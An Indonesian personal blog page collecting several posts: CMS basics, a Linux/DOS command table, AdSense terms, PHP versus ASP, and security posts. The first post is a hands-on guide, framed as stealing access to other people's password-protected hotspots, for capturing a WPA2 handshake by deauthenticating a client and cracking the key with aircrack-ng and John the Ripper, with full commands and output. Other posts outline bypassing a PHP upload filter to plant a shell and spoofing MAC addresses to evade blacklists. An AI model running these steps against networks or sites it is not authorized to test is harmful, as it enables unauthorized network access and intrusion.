Info

SELAMAT DATANG

Selamat datang di agungmohmd.blogspot.com .. silahkan untuk melihat-lihat.. but jangan lupa untuk follow dan kunjungi balik yah :D hehee

Sekilas Tentang Saya

Nama saya Mohammad Agung Perdana (nick= Agung Muhammad) atau biasa juga di panggil Agung. Saya bukan orang yang pintar, saya hanyalah orang yang ingin tahu dengan mencari sesuatu yang baru.

Welcome to Blogger Sahabat Kabel

Wireless Hacking – Cracking WPA / PSK Key

assalamu'alaikum pembaca, dah lama nih ane ga post hehehe......
langsung aja deh..

Pasti begitu banyak yang mendapatkan Hotspot Gratis, tapi juga ada yang menggunakan Password! Sial klo sedang mau wireless’an eh di password. Nah berikut ini adalah cara untuk melakukan Hacking / Cracking terhadap WPA / PSK yang di password.
Oke, yang diperlukan adalah:
1. Anda menggunakan BackTrack 5 Linux sebagai OS Secondary anda, buatlah dual booting di LAPTOP anda :)
2. Anda harus mengumpulkan password worldlist, agar bisa dilihat passwordnya, silakan dicari di google.
3. Koneksi wireless / wireless card
4. WPA yang ada di laptop anda.
5. John the ripper password cracker.
6. Aircrack-ng & airodump-ng (Aircrack package dah)


Download BackTrack 5 Disini 

Download Wordlist John The Ripper Disini


Biasanya tools yang dibutuhkan diatas sudah lengkap ada di BackTrack, klo bukan BT ya silakan Install :) 




Oke mari kita lanjutkan:
1. Kita buka shell prompt di BT dan tampilkan wireless yang sedang ada di sekitar kita, berikut adalah perintahnya:
root@binushacker:~# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Zydas zd1211 zd1211rw – [phy1]
(monitor mode enabled on mon0)
2. Khekhehehe.. Ternyata ada yang nongol, yuk mari kita jadikan target wireless tersebut:

root@binushacker:~# airodump-ng mon0

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 61 0 0 11 54e WPA2 CCMP PSK Wireless
3. Wokeh, sudah tersedia, mari kita mulai mengambil / mencuri akses wireless

root@binushacker:~# airodump-ng mon0 –channel 11 –bssid 38:E7:D8:AD:B2:0E -w /tmp/wpa2
CH 11 ][ BAT: 3 hours 51 mins ][ Elapsed: 7 mins ][ 2011-09-26 21:24
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 100 4319 83 0 11 54e WPA2 CCMP PSK Wireless
BSSID STATION PWR Rate Lost Packets Probes
38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 1 -48 0 81 Wireless

Kita tunggu user untuk melakukan autentikasi dan de-autentikasi selama beberapa waktu.
Sabar saja ketika menunggu ya.. Pasti ada yang login & logout kan? Nah sampai ketemu hal seperti berikut dibawah:
4. Kita mendapatkan user yang sedang logout / deautentikasi / kita buat dia deautentikasi, kita gunakan perintah berikut:

root@binushacker:~# aireplay-ng -0 1 -a 38:E7:D8:AD:B2:0E -c 00:03:6D:F4:F8:86 mon0
21:25:49 Waiting for beacon frame (BSSID: 38:E7:D8:AD:B2:0E) on channel 11
21:25:50 Sending 64 directed DeAuth. STMAC: [00:03:6D:F4:F8:86] [62|63 ACKs]
root@binushacker:~#


5. Setelah logout & user tesebut login lagi, maka kita akan mendapatkan informasi key loginnya seperti hal berikut:

CH 11 ][ BAT: 3 hours 43 mins ][ Elapsed: 1 min ][ 2011-09-26 21:27 ][ WPA handshake: 38:E7:D8:AD:B2:0E

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 96 807 28 0 11 54e WPA2 CCMP PSK Wireless
BSSID STATION PWR Rate Lost Packets Probes
38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 54 - 6 0 161
6. Nah kita dapatkan nih autentikasinya, kita mulai dengan John The Ripper, pastikan bahwa anda memiliki wordlist yang sangat banyak dan kompleks agar bisa ketemu KEY nya:

root@binushacker:~# aircrack-ng -w /pentest/passwords/john/password.lst -b 38:E7:D8:AD:B2:0E /tmp/wpa*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...

Aircrack-ng 1.1 r1904
[00:00:00] 48 keys tested (489.60 k/s)
KEY FOUND! [ W!R3L3$$PWD ]
Master Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C
8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D
Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF
8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C
6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28
D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B
EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B
root@binushacker:~#
Nah, passwordnya ketemu: W!R3L3$$PWD
7. Klo anda gak mau pake wordlist, ya biasanya menunggu agak lama, apalagi klo komputernya lemot bisa berabe. Berikut adalah cara tanpa menggunakan wordlist dengan John The Ripper:

root@binushacker:~# /pentest/passwords/john/john --stdout --incremental:all | aircrack-ng -b 38:E7:D8:AD:B2:0E -w - /tmp/wpa2*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...

Aircrack-ng 1.1 r1904
[00:00:22] 11484 keys tested (534.50 k/s)
KEY FOUND! [ W!R3L3$$PWD ]
Master Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C
8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D
Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF
8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C
6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28
D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B
EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B
root@binushacker:~#

passwordnya sih bisa ktemu tp bsa agak lama, tmen ane aja baru bsa nemuin sampe 30  jam baru ketemu, hehehe..... katanya sih...

silahkan untuk lebih lengkapnya liat ni video...




ni ada yg hampir sama, tp watch aja deh ya... hehehe.......





slamat mencoba, n' jangan lpa tingglin jejak ya... :) 

trims..

Mengenal Content Management System (CMS)


Pada awalnya tidak sembarang orang bisa membuat sebuah web site ataupun situs di dunia maya (Internet), sebab (dulu) untuk membuat halaman web dibutuhkan kemampuan khusus; seperti: mahir bahasa pemrograman Internet (seperti Php, Perl atau setidaknya HTML), menguasai sistem basis data, menguasai inilah – itulah dan seterusnya. Pendek kata tidak sembarang orang bisa membuat web. Itu dulu… nah sekarang, hampir tiap orang yang bisangeklik bisa membuat web site ataupun blog.
Apalagi sejak maraknya Content Management System (CMS) yang bersifat free; banyak sekali bermunculan blog dan atau web site – web site. Menurut EnsiklopediaWikipedia CMS adalah perangkat lunak yang memungkinkan seseorang untuk menambahkan dan/atau memanipulasi (mengubah) isi dari suatu situs Web. Umumnya, sebuah CMS (Content Management System) terdiri dari dua elemen:

  • aplikasi manajemen isi (Content Management Application, [CMA])
  • aplikasi pengiriman isi (content delivery application [CDA]).



Dan menariknya lagi, untuk dapat mempelajari salah satu CMS kita tidak harus meng-install-nya dulu di Internet. Kita bisa meng-install dan mempelajari (sebelum nantinya di publish di Internet) CMS di komputer stand alone (komputer yang tidak terhubung ke jaringan Internet). Caranya? Cukup mudah, yang harus disiapkan diantaranya:
  • Aplikasi web browser (misalnya: IE, Mozilla Firefox, Opera, Google Chrome dan lain-lain)
  • Web server (Apache), data base server seperti MySql, bahasa pemrograman. Dan ketiganya bisa kita Install sekaligus pada aplikasi Xampp atau program yang semisalnya.
  • Text editor; seperti notepad atau Notepad Plus atau yang lebih profesional seperti Macromedia Dream Weaver.
  • Aplikasi CMS

Jenis – Jenis Content Management System (CMS)
1. Drupal



Drupal adalah content management system dan blogging engine yang pertama kali dikembangkan oleh Dries Buytaert sebagai sebuah sistem bulletin board. CMS ini ditulis dengan menggunakan bahasa PHP dan dapat berjalan diberbagai Sistem Operasi (Microsoft Windows, Mac OS X, Linux, FreeBSD) Drupal dapat digunakan dalam berbagai jenis web site, yaitu:




  • Portal Web Komunitas
  • Situs Diskusi
  • Website Perusahaan
  • Aplikasi Internal
  • Website Personal atau Blog
  • Aplikasi Komersial E-Commerce
  • Kumpulan Sumber Informasi
  • Situs Jaringan Sosial
  • Website Multi Bahasa
  • Multi Situs (dalam satu setelan aplikasi)


2. Mambo

Mambo pada awalnya disebut Mambo Open Source atau MOS adalah free software atau open source content managemen system yang digunakan untuk membuat dan memanagement website melalui sebuah interface yang simple. Sekarang ini mambo banyak dipilih dan digunakan karena kemudahan yang diberikan untuk mengoperasikannya. Seperti hampir semua CMS yang digemari mambo memiliki kemampuan templating atau kemampuan untuk mengganti tampilan website tanpa harus melakukan upload/perubahan kontent. mambo menyediakan fasilitas dan komponenkomponen seperti shopping chart (menggunakan komponen virtue mart), photo gallery, forum, pools, calendars website searching, multi bahasa dan lain-lain. Hampir sebagian besar website yang kami bangun menggunakan Mambo sebagai pilihan CMS. Sebuah kebanggaan bagi Indonesia karena salah satu CoreDev Team Mambo adalah orang Indonesia asli.


3. Joomla
Pada tanggal 17 September 2005 diluncurkan Joomla versi pertama (1.0.0). Kata Joomla diambil dari sebuah kata dari suku Swahili yaitu Jumla yang berarti “menjadi kesatuan” bisa dikatakan memiliki kemampuan sama dengan Mambo, karena CMS ini code awalnya Joomla! 1.0.0 menggunakan code Mambo 4.5.2.3. Banyak komponen Mambo juga dapat digunakan di sebagai Plugin Joomla begitu juga sebaliknya. Kemampuan kami memilih plugin yang tepat untuk setiap release yang dipilih memalui proses riset mengindari terjadinya konflik atau crash karena banyak plugin memerlukan penyesuaian disetiap versinya.



Saat tulisan ini di publikasikan, WordPress adalah salah satu CMSyang paling digemari. Popularitas WordPress tak terbantahkan lagi, hal ini mungkin karena CMS ini memiliki interface (antar muka) yang cukup sederhana bila dibandingkan dengan CMS lainnya. Selain memiliki tampilan bersahaja, WordPress juga di klaim sebagai CMSyang Serach Engine Friendly (artinya paling bersahabat dengan mesin pencari).



tengkyu dah baca.... :)



Source: Here ye!!

Perbandingan Perintah Command pada Linux dan DOS


Diawal perkembangannya kedua sistem operasi ini (Linux dan DOS atau Windows) menggunakan perintah berbasis teks untuk mengoperasikan atau menggunakan computer. Bahkan sampai saat ini, dalam kondisi tertentu perintah-perintah teks (yang lebih dikenal dengan istilah perintah command) masih digunakan. Terlebih pada sistem operasi Linux. Ada banyak sekali perintah yang digunakan, tetapi yang kami tulis disini adalah perintah-perintah command line pada Linux maupun DOS yang sering digunakan.


No.LinuxDosFungsi
1cdcdberpindah ke direktori atau folder
2lsdirmenampilkan isi dari sebuah direktori/folder yang aktif
3cpcopymenggandakan file atau folder
4mvmovememindahkan file atau folder kedalam folder lain
5mkdirmkdirmembuat direktori baru
6rmdirerasemenghapus file
7vieditmembuat dan atau mengedit file
8cattypemenampilkan isi sebuah file
9chmodattribmengganti atribut file atau folder
10ifconfigipconfigmenampilkan konfigurasi network adapter
11pingpingcek koneksi jaringan
12clearclsmembersihkan layar dari tulisan atau perintah sebelumnya
13datedatemenampilkan tanggal
14findfindmencari file tertentu
15mountformatmelakukan format terhadap file
16nullnullmengkosongkan file atau direktori
17manhelpmenampilkan manual perintah atau cara penggunaan command tertentu
18exitexitkeluar

Source: http://cyber-zones.blogspot.com/2012/02/perbandingan-perintah-command-pada.html

Bypass PHP Arbitrary File Upload


Ok semua..
Sekarang saya akan melanjutkan pembahasan Tentang PHP Arbitrary File Upload.
Yang sebelumnya telah dibahas di: http://www.binushacker.net/php-arbitrary-file-upload-simple-patching.html
Ok disana patchingnya emang ga terlalu bagus…
Karena filetype bisa di manipulasi..
Bukan dengan merename shell.jpg.php tetapi dengan memanipulasi “header” file
Cara membypassnya adalah sebagai berikut:
Review codenya dulu
Kalo kita coba di HTTP response server kira-kira dapat begini dengan code diatas:
Ok kita liat… ada footprint yang keren disana..
Gimana kalo kita manipulasi upload kita supaya http server membaca script kita sebagai images/gif
Simple code exploitnya..
Coba kita liat apakah sukses exploit kita..
Hohoohohoho…
Untuk patchingnya:
Kita perketat aja patchingnya dengan mengganti code diatas dengan code berikut
Happy Patching..
Silakan bergabung dengan Forum BinusHacker Untuk Berdiskusi: http://forum.binushacker.net

Apa Itu Google ADsense?


AdSense adalah program kerjasama periklanan melalui media Internet yang diselenggarakan oleh Google. Melalui program periklanan AdSense, pemiliksitus web atau blog yang telah mendaftar dan disetujui keanggotaannya diperbolehkan memasang unit iklan yang bentuk dan materinya telah ditentukan oleh Google di halaman web mereka. Pemilik situs web atau blog akan mendapatkan pemasukan berupa pembagian keuntungan dari Google untuk setiap iklan yang diklik oleh pengunjung situs, yang dikenal sebagai sistem pay per click (ppc) atau bayar per klik.
Selain menyediakan iklan-iklan dengan sistem bayar per klik, Google AdSense juga menyediakan AdSense untuk pencarian (AdSense for Search) dan iklan arahan (Referral). Pada AdSense untuk pencarian, pemilik situs web dapat memasang kotak pencarian Google di halaman web mereka. Pemilik situs akan mendapatkan pemasukan dari Google untuk setiap pencarian yang dilakukan pengunjung melalui kotak pencarian tersebut, yang berlanjut dengan klik pada iklan yang disertakan pada hasil pencarian. Pada iklan arahan, pemilik situs akan menerima pemasukan setelah klik pada iklan berlanjut dengan tindakan tertentu oleh pengunjung yang telah disepakati antara Google dengan pemasang iklan tersebut

Istilah dalam AdSense

Publisher

Publisher adalah orang atau pemilik situs yang sudah bergabung dan memasang iklan AdSense di situs mereka.


Ad Units

Yang dimaksud dengan Ad Units adalah iklan AdSense itu sendiri. Ad Units terdiri dari beberapa jenis dan beberapa ukuran. Yang paling umum adalah jenis iklan teks. Pada saat pengunjung mengklik unit iklan ini, maka (jika sah) pemasang iklan akan mendapatkan pemasukan sesuai dengan nilai CPC-nya.


Link Units

Link Units hampir sama dengan Ad Units, hanya saja formatnya mirip dengan format menu yang biasa kita temui di situs-situs web. Yang membedakan Link Units dengan Ad Units adalah pada saat pengunjung meng-klik iklan ini, maka ia akan diarahkan pada halaman hasil pencarian di search engine Google. Publisher baru akan mendapatkan pemasukan apabila pengunjung mengklik salah satu Ad Unit yang ada di halaman tersebut. Pada prakteknya, Link Units terbukti menghasilkan pemasukan lebih banyak dibandingkan Ad Units biasa.


AdSense for Content

AdSense for Content adalah iklan AdSense yang dipasang di dalam suatu halaman. Iklan-iklan yang muncul adalah iklan-iklan yang berhubungan dengan isi halaman tersebut. Atau istilahnya menggunakan konsep kontekstual. Ad Units dan Link Units adalah yang termasuk dalam AdSense for Content ini.


Alternate Ads

Pada AdSense for Content, iklan tidak selalu muncul. Sebabnya antara lain bisa karena memang stok iklan yang berhubungan dengan isi situs sudah habis atau Google tidak dapat memperkirakan apa isi situs itu sebenarnya. Jika ini terjadi, secara default, yang ditampilkan adalah iklan layanan masyarakat atau sering dikenal dengan istilah PSA (Public Service Ads). Karena bertipe donasi, maka jika diklik, iklan ini tidak menghasilkan apa-apa bagi publisher. Untuk mengatasinya, Google memperbolehkan kita untuk memasang Alternate Ads atau iklan alternatif. Jika Ad Units yang dibuat telah diatur dengan menggunakan Alternate Ads, maka apabila Ad Units tersebut tidak dapat tampil, yang muncul adalah iklan alternatif yang telah diatur sebelumnya.

Channels

Channels adalah semacam label yang dapat diberikan pada Ad Units, Link Units, AdSense for Search, dan Referrals. Satu unit iklan dapat memiliki lebih dari satu label, dan sebaliknya, satu label dapat digunakan untuk lebih dari satu unit iklan. Di halaman laporan Google AdSense, hasil laporan akan dikelompokkan berdasarkan Channels, sehingga penggunaan Channels akan sangat memudahkan publisher untuk menganalisa performa AdSense mereka. Umumnya, publisher akan memberikan nama Channels yang sama pada unit-unit iklan yang ada di satu situs. Jika ingin lebih detail, sah-sah saja untuk memberikan nama Channels yang berbeda pada setiap unit iklan di masing-masing situs. Yang perlu diingat, maksimal jumlah Channels yang diperbolehkan saat ini adalah 200 kanal.


Page Impressions

Page Impressions adalah jumlah yang menunjukkan berapa kali halaman yang mengandung Ad Units dibuka oleh pengunjung. Nilainya tidak terpengaruh oleh kuantitas Ad Units yang ada di dalam halaman yang bersangkutan.


Clicks

Clicks adalah jumlah klik pada Ad Units milik publisher. Dalam halaman laporan AdSense, publisher dapat melihat total klik yang ia dapatkan, maupun berdasarkan Ad Units atau Channelnya.


CTR (Clickthrough Rate)

CTR adalah perbandingan dalam persen antara jumlah klik yang diterima suatu Ad Units dengan jumlah tampilan Ad Units tersebut. Misalnya, satu Ad Units yang ditampilkan 40 kali dan diklik 10 kali memiliki nilai CTR 25% (10:40).


CPC (Cost Per Click)

CPC adalah jumlah uang yang akan didapatkan oleh publisher apabila Ad Units tertentu diklik. Nilai CPC masing-masing Ad Units berbeda dan ditentukan oleh banyak faktor, termasuk performa dan kualitas situs milik publisher. Namun secara umum, nilai maksimal yang mungkin adalah 20% dari nilai tawaran dinamis yang ditawarkan oleh pemasang iklan.


eCPM (Effective CPM)

eCPM atau CPM (Cost Per Million) adalah hasil pembagian antara jumlah pendapatan publisher dengan jumlah impresi halaman (per 1.000) yang ia dapatkan dari iklan-iklannya. Sebagai contoh, publisher yang menghasilkan USD 200 dari 50.000 impressi akan memiliki nilai CPM sebesar USD 4 (USD 200 dibagi 50).

Kebijakan program AdSense

Meski program AdSense memberikan keuntungan yang besar, Google menetapkan aturan ketat untuk melindungi kepentingan semua pihak yang terlibat, termasuk pemasang iklan yang sering dirugikan oleh tindakan tidak terpuji pemilik situs anggota program AdSense. Beberapa larangan Google yang harus ditaati pemilik situs web atau blog peserta program AdSense adalah:
  • Mengklik iklan yang ditampilkan situs milik sendiri, baik dengan cara manual atau dengan bantuan perangkat lunak khusus
  • Dengan sengaja mendorong pengunjung situs untuk mengklik iklan yang ditampilkan, misalnya dengan kata-kata “klik iklan ini” atau “kunjungi halaman ini”
  • Mengubah bentuk dan ukuran unit iklan yang telah ditentukan Google
  • Membuat pranala langsung menuju halaman hasil pencarian AdSense untuk pencarian
  • Mengisi secara otomatis kotak pencarian AdSense dengan katakunci tertentu
  • Memanipulasi target iklan dengan katakunci tersembunyi atau dengan IFRAME
  • Kode unit iklan AdSense harus ditempatkan langsung pada kode html Situs web tanpa perubahan. Pemilik situs tidak diperbolehkan mengubah kode AdSense dengan alasan apapun, misalnya dengan tujuan menampilkan hasil klik di jendela pop up atau mengalihkan target iklan.

Optimisasi Penghasilan AdSense

Potensi keuntungan mengikuti program AdSense membuat banyak pemilik situs web mengembangkan berbagai metode untuk meningkatkan jumlah klik pada iklan yang mereka tayangkan. Sebagian metode terbukti ilegal dan melawan kebijakan resmi program AdSense. Metode yang lain diperbolehkan, bahkan didorong penggunaannya oleh Google. Beberapa metode yang dianggap sah adalah:
  • Memodifikasi warna unit iklan menggunakan palet warna yang disediakan AdSense
  • Meletakkan unit iklan pada posisi tertentu pada halaman web yang dianggap memiliki tingkat keterbacaan tinggi
  • Menghilangkan garis tepi unit iklan dan menyamakan warna latarnya dengan warna latar halaman web sehingga unit iklan terlihat membaur dengan isi halaman


Perbedaan PHP dan ASP


Ane sedikit penasaran dengan yang namanya php dan asp .net, iseng dah barusan ane cari cari sumber buat muasin rasa penasaran ane yang bejibun ini… seperti biasa hal yang pertama ane lakukan untuk mencari sesuatu yang menurut ane “unknown” ane buka wikipedia sang enslikopedia “lengkap”, setelah ane buka eh malah cuman disuguhin hal yang minim tentang php dan beralih lah ane ke si mbah gugle, and walah,, ane nemu satu artikel yang singkat padat jelas dan yang pasti bisa menuhin rasa penasaran ane selama ini, so apa salahnya ane bagi disini,, ya kan??
So lets cek this out....
Bagi para webmaster yang baru belajar saya hanya ingin menjelaskan sedikit yang saya dapatkan untuk pertanyaan yang selalu ditanya apa sih perbedaan PHP dengan ASP..
Bagi orang awam tentang pemprograman website PHP dan ASP menurut mereka tidak jauh bedanya, malah ada yang mengatakan ASP itu adalah Bahasa Pemrprogram dari PHP…berikut saya jelaskan perbedaan dari ASP dan PHP…???
ASP dan PHP merupakan bahasa pemrograman yang biasa digunakan untuk membuat website. Tidak seperti halaman web HTML biasa, ASP dan PHP lebih dinamis dan mampu membuat para user bisa berinteraksi dan bertukar informasi dengan database website.


ASP merupakan kependekan dari Active Server Pages, suatu jenis program yang bekerja dalam Microsoft (Windows) melalui IIS (Internet Information Server). ASP memerlukan server Microsoft untuk menjalankan website. Sedangkan program PHP atau Hypertext Preprocessor berjalan di server Linux atau Unix. PHP yang lebih baru bisa berjalan di server NT.




Program PHP juga bisa berjalan di Windows, Solaris, Unix dan Linux sedangkan ASP hanya bisa berjalan di server dengan platform Windows. Baru-baru ini saja, ASP bisa berjalan pada platform Linux yang hanya ada bila sudah terinstall ASP-Apache di servernya.
Jika Anda seorang programmer mahir dengan bahasa C++, Anda mungkin akan lebih nyaman menggunakan PHP daripada ASP. PHP menggunakan C/C++ sebagai bahasa pemrograman dasar dan kebanyakan syntax-nya serupa antara yang satu dengan yang lain. Karena sebagian besar programmer masih menggunakan bahasa C++, PHP menjadi lebih populer dibanding dengan ASP.
ASP lebih banyak mirip dengan syntax dan interface-nya pemrograman Visual Basic. Hal itu dikarenakan pada dasarnya Visual Basic adalah berkorelasi dengan produk dan program-program buatan Microsoft. Jadi jika Anda seorang programmer, pemilihan antara ASP dan PHP sebenarnya didasarkan pada bahasa pemrograman mana yang paling Anda kuasai.
Jika dibandingkan dari segi biaya dan kemahalannya, program ASP membutuhkan Windows dengan IIS terinstall di servernya. Anda harus membeli kedua komponen tersebut agar ASP bisa berjalan. Sebaliknya, PHP hanya akan membutuhkan sebuah server Linux yang bisa Anda dapatkan secara cuma-cuma.
PHP sangatlah fleksibel ketika dikoneksikan dengan database. PHP bisa terkoneksi dengan beberapa database dimana yang sebagian besar digunakan adalah MySQL. Harap dicatat bahwa MySQL tidak akan membebani Anda sesen rupiah pun. Tapi bila Anda ingin memakai ASP, Anda perlu untuk membeli MS-SQL, produknya Microsoft.
Kecepatan me-load adalah faktor besar dalam memelihara website. Jika Anda sangat selektif soal kecepatan, Anda mungkin lebih membutuhkan PHP. Pada dasarnya kode PHP berjalan lebih cepat daripada ASP karena berjalan di space-nya sendiri sedangkan ASP menggunakan sebuah tambahan server dan menggunakan arsitektur berbasis COM.
Dalam bekerja dengan PHP, kebanyakan tools terasosiasi dengan program yang kebanyakan berupa open source software, jadi Anda tidak perlu membayar untuk mendapatkan tool tersebut. Tidak seperti ASP yang mungkin mengharuskan kita untuk membeli tool tambahan untuk bekerja dengan program ini.
Kesimpulannya: Baik PHP dan ASP mempunyai keuntungan dan kerugian. Pada dasarnya semua bergantung pada bagian pengembangan website mana yang akan Anda pilih. Apakah Anda mencemaskan biaya dari pembuatan website Anda? Apakah anda ingin menggunakan bahasa pemrograman yang familiar dengan Anda? Apakah Anda menginginkan website yang lebih stabil dan cepat? Pemilihan antara ASP dan PHP pada dasarnya tergantung pada preferensi Anda sendiri. Sebaiknya Anda berunding dengan programer atau webmaster lainnya dan cari sebanyak mungkin informasi mengenai kode pemrograman mana yang paling pas dengan website Anda.
He…. he… he… singkat banget kan.. tapi artikel ini menurut ane padat merayap.. jadi mudah untuk di cerna buat mereka yang hanya mencari seberkas pencerahan apa itu php? dan apa itu asp?
So thats it..

Forum: http://forum.binushacker.net


Tutorial Mengganti MAC Address pada Linux Dan Windows


MAC Address ] Media Access Control ( MAC) Address biasanya digunakan sebagai sistem pemberian identitas dengan penomoran unik pada berbagai periferal jaringan. Sebagai contoh disini adalah kartu jaringan atau ethernet. Pada setiap ethernet pasti memiliki alamat MAC Address berbeda yang bersifat unik dan khas bahkan untuk tipe yang sama sekalipun pada setiap PC.
Berbeda dengan IP AddressMAC Address memiliki identitas yang unik dan dibuat secara permanen oleh si produsennya. Ini dimanfaatkan untuk berbagai keperluan authentication client pada suatu sistem server. Namun demikian pada beberapa kasus bisa membawa masalah bagi penggunanya, sebagai contoh seorang pengguna mengakses layanan Internet pada beberapa area Wi-fi hotspot yang mana layanan tersebut menggunakan proses authentication MAC Address.
Masalah akan muncul apabila ethernet card di PC rusak lalu diganti dengan yang baru, maka secara otomatis MAC Address-nya akan turut berubah. Untuk dapat mengkases kembali layanan tersebut pengguna harus melaporkan kembali MAC Address baru ke layanan penyelia Hospot. Sangat merepotkan bukan ?
Sekarang, Pernahkan Anda Mengalami Hal Ini?
  1. Anda tidak bisa melakukan browsing karena MAC Address anda terdaftar di Blacklist?
  2. Anda tidak bisa melakukan koneksi jaringan karena MAC Address anda tidak terdaftar?
  3. Anda tidak bisa mengakses sebuah situs karena MAC Address anda ada di Squid list dan limited akses?
Berikut ini adalah cara yang dapat anda lakukan untuk merubah MAC Address anda :)


Mengganti MAC Address Ethernet Card Di Linux

Sebenarnya ada cara sederhana untuk mengatasi masalah ini yaitu dengan cara memodifikasi MAC Address sehingga ethernet card yang baru dilaporkan oleh sistem operasi seolah-olah memiliki MAC Address yang sama dengan ethernet card lama. Cara ini dikenal dengan juga sebagai spoofing MAC Address ini dapat kita lakukan dengan mudah dan cepat di sistem Linux.
Anda tidak perlu menggunakan tool tambahan, cukup dengan perintah internal ifconfig, perintahnya adalah sebagai berikut :
Kita coba dulu dengan perintah berikut untuk melihat MAC Address
$ ifconfig -a | grep HWaddr
eth0 Link encap:Ethernet HWaddr 00:80:48:BA:d1:20
Login sebagai root, ketikkan perintah berikut untuk merubah MAC Address
#ifconfig eth0 down
#ifconfig eth0 hw ether 00:40:fe:e2:ae:4b
#ifconfig eth0 up

Anda juga bisa mencoba cara berikut untuk pengguna Ubuntu:
$ ifconfig
$ cd /etc/init.d
$ sudo nano ChangeMAC
Kemudian ganti konfigurasi, isi XX sesuai dengan keinginan
sudo ifconfig eth1 down
sudo ifconfig eth1 hw ether xx:xx:xx:xx:xx:xx
sudo ifconfig eth1 up
sudo /etc/init.d/networking stop
sudo /etc/init.d/networking restart
Simpan dan close filenya
Kemudian jalankan perintah berikut dan restart ifconfig:
$ sudo chmod +x ChangeMAC
$ sudo update-rc.d ChangeMAC defaults
Untuk memeriksa MAC Address yang telah berubah, jalankan lagi perintah ifconfig.


Mengganti MAC Address Ethernet Card Di Windows

Pada sistem windows beberapa produsen ethernet card menyediakan fasilitas pergantian MAC Address melalui Device Manager Windows atau melalui akses registry yang sukar diingat. Namun ada cara yang sedikit berbeda dan mudah dilakukan, yaitu dengan sedikit bantuan tool yang diberi nama SMAC. yang ilustrasinya dapat dilihat pada gambar dibawah ini.



Jika anda berniat untuk merubah alamat MAC Address silahkan unduh toolnya pada link download dibawah ini:
Download : Tool MAC Address Ethernet Card
Tool MAC Address Ethernet Card





Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More